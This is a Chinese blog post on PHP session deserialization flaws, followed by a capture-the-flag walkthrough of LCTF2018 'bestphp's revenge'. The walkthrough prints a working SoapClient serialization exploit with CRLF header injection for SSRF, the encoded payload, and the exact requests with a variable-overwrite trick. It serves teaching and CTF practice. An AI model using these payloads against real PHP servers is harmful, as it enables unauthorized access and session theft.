php-session反序列化漏洞
PHPsession 反序列化
一、前置知识
| Directive | 含义 |
|---|---|
| session.save_handler | session保存形式。默认为files |
| session.save_path | session保存路径。 |
| session.serialize_handler | session序列化存储所用处理器。默认为php。 |
| session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
| session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。
<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入
$_SESSION[‘name’] = ‘|username‘
序列化时,使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:”name”;s:4:”|username”;}
反序列化时,用php引擎反序列化时,|被当做分隔符,于是
a:1:{s:4:”name”;s:4:”被当作key,username被当做vaule进行反序列化
于是,我们只要传入
$_SESSION[‘name’] = |序列化内容
即可触发漏洞
二、PHPSESSION会话机制
1.开启会话
当你在 PHP 脚本中调用 session_start() 函数时,PHP 的 Session 机制就正式启动了。
2.生成唯一凭证 (Session ID)
PHP 会为当前访问的用户生成一个独一无二、随机且复杂的字符串,这个字符串就是 Session ID。
3.发送凭证给客户端
服务器会通过 HTTP 响应头,将这个 Session ID 以 Cookie 的形式发送给用户的浏览器。这个 Cookie 的名字默认是 PHPSESSID 。
4.客户端保存凭证
用户的浏览器收到这个 PHPSESSID Cookie 后,会将其保存下来。之后,浏览器在向该服务器发起的每一次请求中,都会自动附带这个 Cookie。
5.服务器端存储数据
与此同时,服务器会在本地创建一个文件来专门存储这个用户的会话数据。
存储位置: 这个文件存放的路径由 php.ini 配置文件中的 session.save_path 指令决定,通常默认是系统的临时目录(如 /tmp )。
文件命名: 文件的命名格式为 sess_[PHPSESSID的值] 。例如,如果 Session ID 是 abc123 ,那么文件名就是 sess_abc123 。
6.当用户再次访问网站时,浏览器会自动发送包含 PHPSESSID 的 Cookie。服务器接收到请求后,会读取这个 Session ID,然后去 session.save_path 指定的目录下查找对应的 sess_ 文件,从而找到该用户之前存储的所有数据,实现状态保持。
三、实战:bestphp's revenge
题目源码:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST); //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
} //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
array(0) { }
//flag.php (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
注:解释一下reset($_SEESION),作用是获取第一个会话值
$_SESSION本质上是一个超全局数组,所以 reset($_SESSION)的作用是:
// 假设当前会话中有这些数据
$_SESSION = [
'user_id' => 123,
'username' => 'admin',
'login_time' => '2024-01-01 10:00:00'
];
$firstValue = reset($_SESSION);
echo $firstValue; // 输出:123(第一个元素的值)
分析下代码,flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF
第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
我们可以利用回调函数,通过给f传参,值为session_start,然后post提交 array('serialize_handler'=>'php_serialize')
即达到session_start(array('serialize_handler' => 'php_serialize')) ,将会根据php7特性设置session.serialize_handler=php_serialize。而又因为session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了,序列化exp:
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
'uri' => "dollmarker"));
$se = serialize($b);
echo "|".urlencode($se);
//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉
##结果如下:
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22dollmarker%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
(1)在url输入:
http://f5b4c4f9-19cb-438d-b438-a058bfab2aad.node5.buuoj.cn:81/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22dollmarker%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
在post体里面输入:
serialize_handler=php_serialize

(2)接下来就是想办法触发SoapClient的__call方法了
通过变量覆盖,调用SoapClient类,从而触发__call 方法
/?f=extract&name=SoapClient
POST体里面写:b=call_user_func
这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

(3)将phpsession改为我们之前搞的123456,因为之前设置了sessionid为123456,由
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
可知当我们触发SoapClient时,他已经把flag写入了/tmp/sess_123456,所以我们如果想访问得到flag,就要带着这个phpsession去访问,进入之前的会话状态,即$_SESSION['flag'] = $flag;这句话的作用就是将$flag变量的值写入到当前会话对应的session文件

总结:

四、改变权限
服务端源码:

题目功能非常简单:
- 接收 content(文件内容)和 name(文件名)两个参数
- 将文件存储到 /tmp 文件夹
- 每次访问时,对比服务器存储的Session与访问者Session
- 关键点:如果Session存在,就能获得flag权限
漏洞利用思路
题目在处理Session时,会将 content 参数拼接到默认字符串中。这里的关键在于:
利用 |N (null的序列化表示)分隔键名与内容
通过精心构造payload,我们可以注入恶意的Session内容,从而绕过验证逻辑,获得flag访问权限。


本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20633849

浙公网安备 33010602011771号